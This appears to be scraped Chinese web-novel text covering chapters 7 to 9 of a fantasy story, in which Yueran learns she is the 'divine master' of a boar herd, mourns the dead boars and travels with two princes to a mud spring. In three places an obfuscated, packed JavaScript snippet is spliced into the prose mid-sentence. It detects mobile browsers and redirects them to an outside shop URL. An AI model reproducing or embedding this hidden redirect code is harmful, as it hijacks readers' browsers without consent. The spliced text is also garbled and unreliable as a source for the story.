“如果我猜得不错,”拓石的声音很稳,却带着一种近乎郑重的敬畏,“你正是这群野猪的神主。” 神主? 两个字落进跃然耳中,像两块石头沉入深潭。一圈一圈的涟漪荡开,撞在心壁上,闷闷地疼。 她缓缓转过头,看向地上奄奄一息的两只野猪。那只母野猪还睁着眼,已经不再流血了——血快流尽了。它的呼吸越来越慢,越来越粗重,却仍然固执地望着跃然,喉咙里滚过一声极轻极低的哀嚎。那声音没有任何攻击性。那是在等——等她说一句话。 跃然走过去。一步,两步。她在那头母野猪面前跪下来,伸出那只还裹着布条的手,轻轻放在它的额头上。 母野猪没有躲。它的身体微微颤了一下,然后安静下来。它闭上了眼睛。 “对不起。”跃然的声音很小,小到只有那头母野猪能听见,“我不知道是这样的。我也喝了那碗汤。要是偿命,应该我来偿。是我让拓云煮了汤。我害了你们。” 另一头野猪也发出一声低低地哀鸣。它的头贴着地面,缓缓挪过来,用鼻子轻轻碰了碰跃然的膝盖。那个触感是湿的、凉的。跃然伸出手,把它也拢过来。 两只野猪的头挨着她的膝盖,呼吸渐弱。闭眼时,它们都留下了泪。那泪是温热的,顺着她的手背滑下来,淌进她手心那些还没完全愈合的伤口里。 跃然站起身,走向洞口。洞外的野猪群自动后退了一步。不,不是退。它们让开了一条路——小心翼翼地,像怕踩到什么易碎的东西。 跃然这才看清,树丛中全是一道道灰黑的影子。那不是五六只。那是整座山的豕群。它们在暮色中安静地站着,獠牙在月光下泛着冷光,眼睛却一律望向她。 它们不是在讨债。它们是在等——等它们的“神主”来做一个决断。 跃然站在洞口,站在这群叫不出名字的野猪面前。风吹过枫林,光秃秃的枝丫在空中交错,发出干涩的声响。 她忽然觉得自己像一个被推上王座的人,脚下却不是臣服,是无数条被她牵连的命。第一次,她觉得自己像一个可以呼风唤雨的领主。然而也是第一次,她知道自己亲手送了它们走上死路。 “对不起。” 她深深鞠躬。声音不大,但在寂静的暮色中,每一个字都落得很实。 她直起身,忽然想起了什么。那个梦。在另一个世界,另一个夜晚。沈煦蹲在她家楼下,她摔上门,一个人在客厅里用头撞墙。 那时候她问:凭什么?凭什么你们都可以伤害我,我却只能承受?她把那份离婚协议摔在茶几上,觉得自己是全天下最无辜的人。 “你也亏欠了世界。” 那道声音又响了。不是从洞外传来,是从她自己身体深处渗出来的。像心壁上积了太久的水,忽然裂了一道缝。 跃然没有抬头。她等着那声音说下去。但它没有。它只是沉默着,像在等她自己想明白。 她终于明白了。 在跃然二十八年的记忆里,她从来都是觉得世界亏欠了自己。何时何地,她黎跃然也成了残忍施暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632070|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,让这成百上千的生命,因她的出现而毁于一旦? “原来这世界,除了众生平等的神话,更有众生皆有罪孽的魔咒。” 她喃喃说出声来,声音轻得几乎被风吹散。然后她做了一个决定。 她一步步走出洞口,走到那棵落尽了叶子的枫树下。树根盘虬如骨。 她弯腰躺下去,躺在那片被野猪们踩乱的落叶上。头顶是光秃秃的枝干,还有一轮刚升起来的月亮。 “是我,毁了你们的胎神,不关里面那两个孩子的事。如果你们想索命,来找我就是。” 她闭上眼睛。 “跃然!不要!” 拓云提着刀想冲出去,却被野猪群堵住了洞口。他想劈开一条血路,手腕却被一只冰冷的手握住了。 拓石不知何时挣扎着站了起来,扶着岩壁,勉强撑住身体。他没有说话,只是对拓云摇了摇头。他的目光越过弟弟,落在洞外那棵枫树下,那个瘦小的人影上。 跃然躺在枫树下,想象着电影《香水》中那个被撕扯殆尽的男人。也许这些野猪也会一样吧。一起冲上来,这些杂食的动物,也许顷刻间就会将自己的身体撕成碎片。 她听见它们来了。蹄子踩在落叶上,窸窸窣窣,越来越近。 然后,一个湿漉漉、硬邦邦的东西碰到了她的胳膊。是鼻子。她全身绷紧,等待着第一张血盆大口的到来。 然而没有。 那只野猪只是用鼻子拱了拱她——轻轻的,像在确认什么——然后走开了。 接着是第二只。第三只。野猪们鱼贯而至。一只接一只,从她身边经过。 每只都低下头,用湿漉漉的鼻子碰一碰她瘦小的身体,碰一碰她的手,碰一碰她的肩膀,然后安静地退开。它们的鼻息是热的,在秋夜的冷空气中凝成一小团白雾。 跃然睁开眼。 她看见一只公野猪站在她面前,獠牙足足有一尺长。它就那样低头看着她,眼神不是凶光,是另一种东西——温顺的、认命的、近乎哀伤的。 跃然慢慢抬起手,触到它那根粗粝的獠牙。公野猪没有躲。它发出一声低吟,然后把头低得更低了些,让她能摸到它额头上那块坚硬的骨头。 跃然的泪水毫无征兆地滑下来。她捂住嘴,不让自己哭出声,然后一只手一只只地抚摸所有走到近前的野猪——它们湿漉漉的硬鼻、锋利的牙、粗糙的鬃毛。野猪们发出一声声低吟,像在回应她。 在枫树下,在这片被月光洗得发白的落叶上,跃然完成了她二十八年来第一次生命的洗礼。不是用仇恨,不是用控诉。是用野猪们的宽厚,用野猪们无条件的崇敬。 她像一个在绝境中被自己的子民认出的王——不是登上高台接受欢呼,而是躺在泥地上被一个个鼻子碰醒。 这是多么大的讽刺啊。这种被生命热爱、被众生尊敬的无上荣光,竟是在她将它们送上死亡之路时才降临。但也许,这正是生命的真相。 看着渐渐消退而去的豕群,跃然靠坐在枫树下,望着旋转飘落的最后几片枫叶,泣不成声。 在生与死的边缘,是不是所有人都能接受得像豕群那般坦然?除了生死,到底还有什么更重要的事? 人活一世,到底是不是只有一条泾渭分明的铁律,来分辨对与错、得与失、无辜与罪恶? 她想到抛下她决绝而去的妈妈,想到佝偻矮小的姥姥独自望着窗口抹泪的背影。 那些她曾经以为自己绝对无辜的旧账,在这一刻忽然变得模糊了。 她抬起手,看着掌心里那两只野猪留下的泪痕。泪已经干了,只剩一道细细的白印。弯弯曲曲的,像一条找不着出口的路。 不远处的洞穴口,拓石在拓云的搀扶下默默注视着她。 跃然紫晶般的瞳仁,正在月华下烁烁流光。 7. 诀别仪式 一个人知道自己为什么而活,就可以忍受任何一种生活。 ——弗里德里希·尼采 拓石在拓云的搀扶下,默默望了许久。 他没有走过去。 那个跪坐在枫树下的小小身影,刚刚替他们担下了一整座山的愤怒。而她甚至不知道自己是神主——不知道自己拥有什么,却已经用它护住了两个素昧平生的陌生人。 “三弟,扶我回去。”他的声音比平时更轻。 拓云没有应声,只是把拓石的胳膊往自己肩上又紧了紧。他回头看了一眼枫树下的跃然,嘴唇动了动,像是想喊她回来,却被拓石按住了手背。 “让她独自待一会儿。” 这一夜,三人都没有再说话。 拓石靠着岩壁调息,拓云蜷在篝火旁,时不时抬头看看洞口。 跃然很晚才从枫树下起身,轻手轻脚地走回洞穴,在离兄弟二人稍远的地方抱膝坐下。 拓云想开口,却不知道该说什么。他把自己那件披风团了团,轻轻滚到她脚边。跃然没有接,也没有推——她太累了,累到连拒绝的力气都没有,只是把头埋在膝盖上,不知是睡了还是醒着。 拓云守了很久,直到她的呼吸变得均匀,才敢挪近一点,把披风展开,轻轻盖在她身上。 晨光从洞口透进来的时候,拓石已经醒了。而且已经可以缓慢行动。 跃然还在睡,蜷成小小的一团,睫毛上还挂着干涸的泪痕。拓云坐在她旁边,眼圈有些发青——显然一夜没怎么合眼。 拓石招了招手,示意拓云到洞口来。 “三弟。”他的声音压得很低,不想吵醒跃然,“这姑娘的身世,我们需要谈谈。” 拓云揉了揉眼睛,跟着大哥走到枫树下。 “大哥,既然她是神主,为何会被加害?”拓云至今仍不能相信那个跌落崖底浑身是伤,脖颈间还有掐痕的小女孩儿,竟然是主宰雨虹山豕群的神主。 “或许,她亦有苦衷。”拓石转向弟弟,“她恐怕——不能做我们的‘拓夏’了。”然而话一出口,竟生出不舍来。相处,不过只有三日。 “大哥,求你,让她留下!”拓云紧紧抓住拓石的胳膊,恳求。 拓石扶着树干的手紧紧扣在凸起的书皮上。他知道,一旦自己在浊泉洗去灵宙,便不再是受苍宇庇佑的熙坤王,而只是个凡人。那时,便将是他们三人之间最遥远的距离…… “她——黑发紫眸——言谈诡异——来历不明——留在身边——恐生祸难!”拓石一句一顿。彻底将她忘记,许是最好的选择。 “不!她已发誓,绝不会伤害我们!”拓云眼中噙满泪水,急切地申辩,像是在极力保证自己收救的幼虎不会伤人。 他不能再一次失去一个亲人,眼睁睁地失去! 他甚至可以不问跃然的身世,并暗暗发誓绝不怀疑跃然,只要这个单薄的小姑娘安安全全地留在自己身边! “我们……留不住她了……” 她是神主,只应属于神圣的雨虹山,而不是即将“平凡”的宇文拓石,亦不属于即将回归皇宫的宇文拓云。 然而,几日来搭救跃然的经历却是那么清晰地刻在了记忆里。 拓石清楚地记得,那是他和拓云出逃的第七天。他们一路乔装乞讨,躲避着枝梧的追踪,绕过了十几座城池森严的戒备,好不容易接近了雨虹山。 进了雨虹山,雨虹的云雾便会屏障他们身上的王族气息,父王的枝梧即使追到山下,也将无可奈何。 拓石计划经过雨虹浊泉浸洗之后,身上的灵宙便将消失,即使枝梧赶到,也将为时已晚。 去除灵宙的护佑,父王便不会再强迫他做熙坤王。即使身上毒发,仍有二弟拓宏、三弟拓云可以继承王位,便不会再有人为解他身上之毒,无辜枉死。 那刻,他们正加急脚步奔向雨虹山的唯一入山口,却看到山脚处吸血飞虫正聚集,走过去,看到的便是一个奄奄一息的女孩儿,飞虫正是被伤口的血腥气吸引的。 看到被飞虫啃噬的是那么小一个女孩子,拓云突然就发了狂,他抽出流云刀拼命挥舞向飞虫,拓石费了好大劲才将他控制住。 “王兄,救救拓夏,救救拓夏!”当拓云失去了意识,像是沉入梦境,挣扎着扑向女孩。 “三弟,她不是拓夏,我们的拓夏,一年前,便已……死了。”拓石想让拓云清醒一些,尽管这是兄弟俩都不愿提起的事情。 拓云没再吵闹,默坐了一会儿,拉起女孩儿拖到背上,然后对拓石说:“王兄,走吧。父王的枝梧快到了。我背着她。” 拓石没再阻止弟弟。就这样,拓云背着女孩儿进了雨虹山。在半山,拓云脚底石块一滑,趴倒在地。 “嗯……”身后的女孩,发出了声音,似乎有了转醒的迹象。 再后来,女孩昏睡了两天,直到第一次醒来。 黑瞳——第一次她醒来时与曦族人并无差异,黑发墨瞳。 而求死之时,她的双目开始有紫光闪动,现在她的双眸已然是纯正的紫瞳。 她究竟是何人?身世背景如何?她为何身为神主却似乎对自己的神力一无所知,甚至烹煮了自己守护的胎神? 拓石心中疑问层出。因为是命定的熙坤王,拓石自幼被培养得博物强识,却从未在任何一本古书上寻见黑发紫瞳的种族。 是她救了自己和拓云。 自己调息时内力不足导致气息紊乱、精气郁结而窒息,亦是她果断施救。 头猪冲进山洞时,是她将自己与拓云挡在身后。豕群索命时,是她以命相护。 第一次醒来时,她不知所措、绝然求死。几次用真气护她心脉,她甚至没有任何内力。 “可是,我没有亲人了……” “我的生活已经没有可以寄托的人了。何苦再勉强偷生……” 拓石记起跃然所说的话。她虽身世神秘,却孤苦无依。 “虽身为神主,她也只是可怜人而已……”拓石凝眉惜叹。 “今后,她就是我的妹妹!”还没等拓石说完,拓云已经放开拓石的手,走向枫树下仍低声抽泣的跃然。 “没事了,别哭了。”拓云一边擦干跃然脸颊的残泪,一边将跃然揽入怀中。直到感觉怀中的女孩儿已然安静不动。 “咔!”夜空闪过一道亮光,瞬间,大雨倾盆而下。 拓云将拓石扶入洞穴。此时,跃然还在恬静地睡着。 回到山洞,拓石并没有让拓云处置两具野猪的尸体,只是让他抱了些落叶回来,盖在了野猪的身上。 这样,洞内死亡的气息似乎变得并不像之前那般浓重了。他知道,再下山时,这样的尸体定是随处可见。 拓石简单拾拣起地上破碎的瓦罐和散落的木架,将其堆放在壁侧,他席地而坐,专注调息。 她真漂亮!拓云将披风给跃然盖好,用眼睛细细观察着。 她长长的睫毛向上微翘着,随着呼吸微微震动,因为被泪水濡湿,细密的睫毛三三两两结成了缕,更显出女孩儿的娇弱。小巧的鼻子,瓷嫩挺立,鼻翼有些吃力地翕张。 “准是哭得太久,呼吸不顺畅了。”拓云想着想着,不自觉地笑出声来。 跃然红润的唇瓣微张着,像是刚刚绽放的蔷薇花瓣。 之前的伤痕已然褪去,她细如凝脂的脸颊上,甚至能看到一层白嫩的绒毛,像是秋天的蜜桃。 “她真的不是拓夏啊……”拓云发出轻叹。 他的拓夏活泼可爱,永远不会哭得那般凄楚。 他的拓夏喜欢在阳光下的原野上采花,皮肤晒黑了,但健康而红润。 他的拓夏总是转着乌黑的眼珠想出一个个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632071|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼主意捉弄下了书院的他。 他的拓夏总是拉着哥哥们的手说:“拓夏是蔚魄大地上的福娃,承父王、母后宠爱,被哥哥们保护。宇文家的哥哥们都是阳光下的麦子,有着金灿灿的心……” “跃然,别怕,哥哥会保护你。哥哥会把金灿灿的心给你,让你像拓夏一样无忧无虑地去阳光下摘金羽莲。”拓云轻轻抚摸着跃然垂及腰间的乌亮发丝,喃喃发誓。 他决心一定要让自己快点长大,早日成为大哥一样伟岸的男子,那样,他便能保护好他失而复得的拓夏了。 洞外的雨声很大,不断有电闪破空,但在拓云的心中,一年来的阴霾却在慢慢退去。 那颗因为失去拓夏而荒芜蒙尘的心,被雨水洗刷得晶莹纯净。 连梦中拓夏那孤单的影子,似乎都在迎着白亮的闪电对他微笑。 拓夏笑着对他说:“三哥,我回来了。拓夏找到回家的路了。拓夏回家了。” 拓云看向在一旁打坐调息的拓石,含泪笑了。 我们三兄妹,终于团聚了。他满足地趴在跃然的身边,沉沉睡去。 拓石调息完毕,体内的毒虽然未能得解,但是因为胎神髓汤的缘故,他的内力大增,如今近乎可以压制毒性了。 洞外的雨渐渐停了。东方破晓,依稀可见晨光。 见跃然还没醒,拓石拉过弟弟,轻声问:“这姑娘可曾说过她的身世?你如今了解她多少?” “没,但,大哥,她……”拓云以为大哥还是不愿收留跃然,情急下不知该如何解释,“我发过誓,绝不怀疑她,她也发誓绝不伤害我们,哥哥……跃然真的不会伤害我们……” “她叫跃然?”拓石独自重复着这条唯一的获知信息。如今,他早已明了跃然与他们无伤,更不担心她会带来危险。甚至,有跃然这位神主在身边,雨虹山上的灵兽们都会退避,与她同行会比他们兄弟二人独行更加安全。 但是,跃然是否真的愿意做他们的妹妹?哪怕一起颠沛流离、东奔西走也可以?经历了豕群一事,跃然知晓了自己神主的身份,她是否仍会绝然求死?抑或,她会有其它打算?要怎么做,才能留住这个姑娘的心?不了解她的身世,这一切问题都无从解答。 “莫担心,大哥并非要赶她走。只是,大哥确然不知该如何留住她。”拓石耐心地向弟弟解释。 他走出洞外,雨后的清晨,凉爽而清新。枫树的枝干上,不断有残雨被微风吹落。踩踏着满地湿潮的落叶,拓石慢慢踱步,剑眉深锁。 那日救下跃然时,山下村民并未有人出来答谢或挽留,难道,跃然并非那间木屋的主人? “啊——”跃然在梦中惊醒,拓云急急地跑过去抓住她的手。跃然一头扑进拓云怀中,恐惧地发抖。 “你做噩梦了?跃然不怕,云哥哥在,跃然不怕。”拓云轻轻安抚着怀里的跃然,用手轻缓地捋顺她的发丝。 过去,拓夏偶尔也会做噩梦,每次做了噩梦都哭个不停,偏要母后将她搂在怀里轻轻安抚才会转好。拓云便回忆着母后的样子,轻声抚慰着跃然。 “皎月皓兮,青荇柔肠;骏马拓兮,志在四方。暮旦念兮,秋风寄望;金羽婉兮,安女梳妆……” 拓云轻声唱着母后生前最爱唱的那首歌,婉转古朴的曲调,再加上拓云有些清哑的童声,让跃然紧绷的神经慢慢舒缓下来。 她在梦里看见了什么,拓云没有追问。他只是把小姑娘往怀里拢了拢,继续低声唱着,直到她的呼吸重新变得平稳。 洞口的晨光里,拓石转过身来,望着这一幕。 他没有走过去,只是倚着枫树,轻轻弯了弯嘴角。 洞外,雨过天晴,漫山枫叶被晨光照得火红。一只青鸟落在枝头,抖了抖羽毛上的水珠,啼出一声清脆的鸣叫。那叫声穿透了雨后的薄雾,一路飘向澄澈的晴空。 8. 雨虹浊泉 生命的确是黑暗的,除非是有了激励; 一切的激励都是盲目的,除非是有了知识; 一切的知识都是徒然的,除非是有了梦想; 一切的梦想都是虚空的,除非是有了爱。 ——纪伯伦《先知》 听着熟悉的曲调,想起母后慈爱的笑容、拓夏清亮的笑声,拓石自责的心被搅得很疼很疼。 洞口,他倚壁而立,双拳紧握。 都因自己一时贪玩而中毒。 为抑制毒性换取绛珠,堂堂曦宇国将八岁的公主下嫁僻壤,这是曦宇国莫大的耻辱。 拓夏意外亡故荒漠,母后郁结而终,拓云性情大变…… 所有变故离殇,无辜枉死,都是为了维护他这个命定的熙坤王。 洞内,拓云的歌声渐渐低了下去,最后一个尾音在山洞里转了几转,像是不肯落地。 不能再等了。再多等一日,便多一日以熙坤王的身份活着——多一日让身边的人因这个身份而受苦。 “拓云,带着跃然,随我去浊泉!” 拓石再一次气血翻涌,几乎是命令的语气。 他再不能忍受自己的罪孽,只想尽快摆脱熙坤王这宿命的灵宙。 从今而后,世上再不会有熙坤王、再不会有灵宙,人人皆可为君主。 让愿意担负民生之人君临天下,让愿意荷锄肩担之人躬耕园田,人人各得其所,岂非乐事? “哥……嗯!”拓云尚不完全明□□泉的意义,但他也希望浊泉能将一切痛苦荡涤干净。 “跃然乖,不怕了,云哥哥带你去浊泉。”拓云一边安抚着跃然,一边拉起她的手。 跃然靠在拓云怀里,任由那歌声把噩梦的碎片一片片冲散。 有一瞬间,她想就这么缩着——做那个被人哄的小女孩,不去想什么神主,什么胎神,什么已经灭绝的豕群。 但她闭上了眼睛,再睁开时,眼神已经变了。 她不是那个十岁的女孩儿。她是黎悦然,是个二十八岁的成年人。 她不动声色地放开拓云的手,看向拓石,尽量用最平静的语气: “你可以走了吗?身体可以?” “嗯,喝了……”拓石语气一滞,“目前勉强可以压制毒性,短期内应无大碍。” 跃然点了点头,沉默了片刻。然后她抬起头。 “神主是什么?为什么我是神主?未来我会怎么样?” 拓石心里一沉,现出犹豫。“呃……其实,我也只是猜测而已。” 跃然眼神示意他解释。 “你可曾听说过‘胎神’?”拓石沉吟片刻,斟酌着问。 跃然摇头。 “众生命运和造化皆不同。若牲畜族群欲求福缘、免受餐飨之苦,便需举众志修化。”拓石缓缓道。 “每五百年,族群的心养会凝聚成一个胎神——由牲畜身循化为人身。循化为人身后,胎神便可护佑族群离开雨虹山,往蔚魄的楚留岛修化,最终整个族群便可修化为棕榈树林,免受生死轮回之苦,静养天年。” 跃然安静地听着,没有插话。 “而在胎神修化和循化期间,”拓石的目光落在她身上,“会有一位神主护佑。否则,胎神命丧,整个族群亦会灭绝。” 他顿了顿,声音放得更轻:“昨日那头小野猪——便是豕群的胎神。它被拓云捡到时,必定是循化过程中遭了异物冲撞,狂性大发才撞了树。它死之后,豕群三日内必将灭绝。那些野猪昨夜来,不是为逞凶。” 跃然的嘴唇微微发颤。“那它们来……是为了什么?” “因为它们的胎神不在了。而它们的神主——”拓石抬起眼,看着她,“还活着。” 跃然浑身一震。 “昨日头猪遇姑娘时,宁可自损也不伤你半分,洞外豕群亦只徘徊不前。若你非它们的神主,何以至此?只是……”拓石眉心微蹙,“若你确是豕群神主,又为何会被加害、坠落崖底、对自己的身份一无所知?这一点,我也想不明白。” 跃然怔怔地站着。求死也不行。好像被塞给了一个最尊贵的身份,却让她亲手毁掉了自己护佑的族群。 她几乎要笑出泪来。在那个无形的老天爷面前,自己就是卑微的小丑,任人摆布,无力反抗。 “也就是说,”她涩声开口,“我能让它们活,却让它们死了。” 拓石没有回答。沉默已经是最诚实的答案。 “神主有什么超自然的能力吗?”跃然压下喉间的酸涩,换了一个问题。 拓石微怔,但还是尽力解释:“神主具体的神通我也并不十分清楚。只记得《愚缘游志》中记载,神主虽外貌与常人无异,但其身上必有清灵护体,自生能力极强,且可避退一般灵兽。” 自生能力极强。 跃然垂下眼。是不是连死都死不了?她把这个念头咽了回去。 “我能不做神主吗?” “你……当真不愿做神主?”拓石谨慎探问,眼底却有一丝难掩的惊喜。 如若她亦只愿做个凡人—— “可以吗?”跃然觉得眼前的拓石好天真。 “或许,你亦可去浊泉一试。”拓石终于找到了邀约跃然同行的理由。 “对!大哥所言极是!”拓云早已等在一旁,此时一把拉住跃然的手,“你也可如大哥一般,去浊泉洗掉灵气,那么你们便都可做平凡人了。我们走!” 被拉至洞口,跃然突然顿住了脚步。 心脏猛地一抽,像被什么东西从背后拽了一下。 她回过头,看向洞中被落叶覆盖的两具野猪尸体。那堆落叶静静地躺在暗影里,晨光从洞口斜斜地漏进来,落在一片枯叶上,照亮了上面干涸的暗色血迹。 几天来,她的身体除了疼痛和饥饿,这是第一次有了自主的反应——不是大脑下的命令,而是从心口深处涌上来的一种钝重的、不可名状的东西。 “等等……我……” “我们,把它们埋起来吧。”她喃喃地说。或许,“她”自己也想这么做。这是对生命的尊重——无论是对野猪,还是对这个被她借用了的身体。 “你……已经死了吗?还是,只是暂时被我的意识压制了,没有苏醒?”跃然默默地问自己。 穿越的小说她看过不少,生前只当消遣,如今她并不清楚,那些小说中的规则在这个世界是否会奏效。但此刻,她隐隐感到,这具身体里还有另一个人——或者说,另一个人的残片。 “倒不如,将这山洞封起,立碑为记。”拓石看到跃然眼中的不舍,建议道。 三人很快行动起来,用大大小小的山石将洞口密密实实地封住。拓石从腰间粗厚的麻绳中抽出一把软剑,剑身薄如秋叶,在晨光中泛着清冷的水光。他挥剑削下一段枫木,削平一面,立在山石之前。 拓云看看碑,又看看跃然。“刻什么?” 拓石摇了摇头。“她不需要名字。”他顿了顿,“知道的人自然会记住,不知道的人,刻了也没有意义。” 跃然接过拓云的佩刀,左手捞起自己垂到腰间的一束长发,右手握着刀,停了一瞬。 刀锋贴着头皮划过。一束乌亮的发丝应声而断,落在她掌心,轻得像一片羽毛。 她把那束头发仔细地拢好,压在洞口最上面那块石头的下面。发尾从石缝间露出来,被晨风吹得轻轻晃动,像是有什么话没有说完。 她退后一步,鞠了一躬。泪水又毫无预兆地滑下来,她没有擦。 离开前,她转身走到那棵枫树下。 过去,她总是这样叩拜寺院中的神佛——祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632072|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求婚姻长长久久,祈求身体康健无病,祈求日子平顺安宁。每一次跪下,手里都攥着一份索求的清单。 但这一次,她跪下时,心里什么都没有。 她只是觉得,这棵树很亲近。 它什么也没有说,却见证了一切——她的绝望,她的眼泪,那些野猪一头接一头走到她面前又安静退开的夜晚。它像妈妈。 不是那个从阳台纵身一跃的妈妈,而是另一个——一个她从未拥有过、却一直渴望的妈妈:沉默的,扎根的,永远不会走开的。 她虔诚地叩拜了三次。 晨光从光秃秃的枝丫间筛下来,落在她背上,像一只手,很轻,很暖。 起身时,拓云看见她的眼眶还是红的,但眼睛里有什么东西不一样了。他说不上来,只觉得那一刻的跃然,让他想起每年开春时雨虹山顶融化的第一片雪——还是冰冷的,但已经透亮了。 跟随着拓石,三人向山顶走去。 这山上植被十分茂盛,树木灌丛似乎全然不受海拔的限制,兀自酣畅地生长着。红黄相间的枝叶在头顶交错,筛下一路斑驳的光影。 不知名的鸟雀在林间啾啾鸣叫,偶尔有拖着长尾的鸟儿从枝头掠过,带下一两片旋转的落叶。色彩艳丽的野花从灌木根部探出头来,在微风中轻轻摇曳。 偶尔几只野兔、松鼠从路旁窜出来,见了人也不怕,歪着头打量片刻,才不紧不慢地跳开。拓云见了这些野物,便下意识地去看跃然——然后想起那锅肉汤,又飞快地把目光收回来。 拓石走在前头,不时拨开拦路的枝条,把有刺的藤蔓踩平了才让后面的人过。拓云从路旁摘了些奇形怪状的野果递给跃然,青的青,紫的紫,有的像扭曲的小葫芦,有的像缩了水的梨子。 跃然接过来咬了一口,酸甜不一,入口却十分清凉解渴。 “这个酸。”她皱着眉把一颗青果子塞回拓云手里。 拓云接过来啃了一口,酸得直咧嘴,却嘿嘿笑了。 在这山间的行走里,在拓云的笑声和鸟鸣声里,跃然似乎逐渐适应了这娇小的身体。她的步子越来越稳,呼吸越来越顺畅,偶尔伸手去接一片飘落的红叶,指尖也不再发颤。 但她没有忘记。那些野猪湿漉漉的鼻子,那头母野猪眼角滑落的泪,那句“而你,姑娘,正是它们的神主”——她把它们压在心底,暂时不去翻。不是逃避,是她知道,翻开的时机还没有到。 不多时,三人来到了山顶。 山顶的植被骤然稀疏,裸露出大片灰白色的岩石。视野豁然开朗——来路的重重山峦尽收眼底,云海在山腰翻涌,偶尔露出一两处山脚的村庄,小得像撒在地上的米粒。 而在山顶的正中央,一片洼地中,赫然躺着一个淤黑的泥潭。 潭面不过数丈见方,但潭中的淤泥却不像寻常死水那般凝滞——它在缓缓搅动,像有什么东西在水底缓慢地呼吸。 泥浆翻上来一缕缕暗金色的细纹,转瞬又被黑泥吞没。潭面偶尔冒出几个气泡,破裂时发出的不是清脆的响声,而是一种沉闷的、像是从极深极深的地方传上来的低吟。 空气里有一股说不清的气味,不是臭,是古老的、潮湿的、带着矿物质微凉的气息。 拓石站在潭边,神情肃穆。 “我想,这便是浊泉了。” 他的声音很轻,像是在对自己说,又像是在对这片沉默的天地宣告——他等了太久的终点,终于到了。 拓云站在他身侧,握紧了哥哥的手。 跃然站在他们身后一步的地方,望着那缓缓搅动的黑泥,紫瞳中映出一丝微光。 三个人都没有再说话。 山顶的风很大,吹得他们的衣袍猎猎作响。远处,雨虹山的云雾正在缓缓合拢,像一扇巨大的门,无声地关上了来路。 9. 浊泉赌命 你千万别糊涂,死人都还想活过来,你一个大活人可不能去死。 ——余华《活着》 拓石走在最前面。他步子很快,像是怕自己慢下来就会反悔。拓云紧跟在侧,不时回头看一眼跃然。 跃然没有说话。她的步子比上山时沉了些。那些野猪的鼻子,那头母野猪的泪,那句“而你,姑娘,正是它们的神主”——她把它们压在心底,暂时不去翻。但它们在,沉甸甸的,像一块放在胸口的冷石头。 走近看,潭面不过数丈见方,潭中淤泥缓缓搅动,翻上来一缕缕暗金色的细纹,转瞬又被黑泥吞没。潭面偶尔冒出几个气泡,破裂时发出沉闷的、像是从极深极深的地方传上来的低吟。 空气里泥潭里腐臭的味道。相反,有一股极淡的、清凉的草木香,像是松针混着某种不知名的山花,被山风稀释得很薄。闻起来很干净,很安宁。 但跃然皱了皱眉。这香味不对,太均匀了。自然界的花香草香是有层次的,近处浓,远处淡,风一来就散。可这里的香气像一匹被拉紧的绸布,四面八方都一样,连风都吹不皱。 她环顾四周。浊泉四周,有八棵虬结的古树,排列得极有规律,像是影视剧里说的守着什么方位。树干不是笔直向上,而是以不自然的角度向内倾斜,枝丫交织成一个近乎封闭的穹顶。树干上缠满了深褐色的老藤,藤蔓每隔一截便打着一个结,结的数量和位置与相邻的树一一对应。 不是天然长成的。更像是人工的,而且是刻意的人工。 “便是此处了。” 拓石站在潭边,衣袂被山风鼓起。他看着那淤黑翻涌的浊泉,神情是近乎解脱的淡漠。 拓云好奇地探了探头,又缩回来,皱着鼻子道:“大哥,这水好黑。” “此即浊泉。”拓石的声音很轻,“洗去灵宙之所。” 他没有说的是,关于浊泉的秘密,本不该由他知道。 这是曦宇王室世代口耳相传的绝密——只有历代熙坤王在即位后,才能从父王口中得知浊泉的位置和洗去灵宙之法。父王从未打算告诉他。父王要的是他安安分分做那个命定的熙坤王,用绛珠续命,用灵宙镇国,直到天命终了。 是二弟拓宏把浊泉的秘密泄露给了他。 三年前,拓石从行刺的宫女处审问到消息,但宫女身上淡淡的体香暴露了来处。那是拓宏宫里常年的味道,即使换了衣物,但仍有体香残存。 他知道,拓宏恨父王,恨他,恨整个曦宇王室,拓宏就像一匹养不熟的狼,一直想要伺机为他母亲报仇。 拓石知道拓宏的心思,甚至他明白自己中毒的原委,但他也确实顺着拓宏的线索找到了那本隐秘的古籍,古籍无法造假。他也知道这一路上可能布满了陷阱,浊泉也许根本不是解脱之地,而是终结。 但,那又如何! 三年的愧疚,三年的毒发,三年眼睁睁看着别人替自己死。拓夏死了,母后死了,七十八个少女献了心头血。如今好不容易到了这里,他不想再看了。他宁愿照着拓宏给他指的那条路走下去。这是成全拓宏,也是成全他自己。 他深吸一口气,抬起了右脚。 “这是沼泽,哪儿有泉水的影子?” 跃然的声音从身后传来,清清脆脆的,带着不容置疑的笃定。 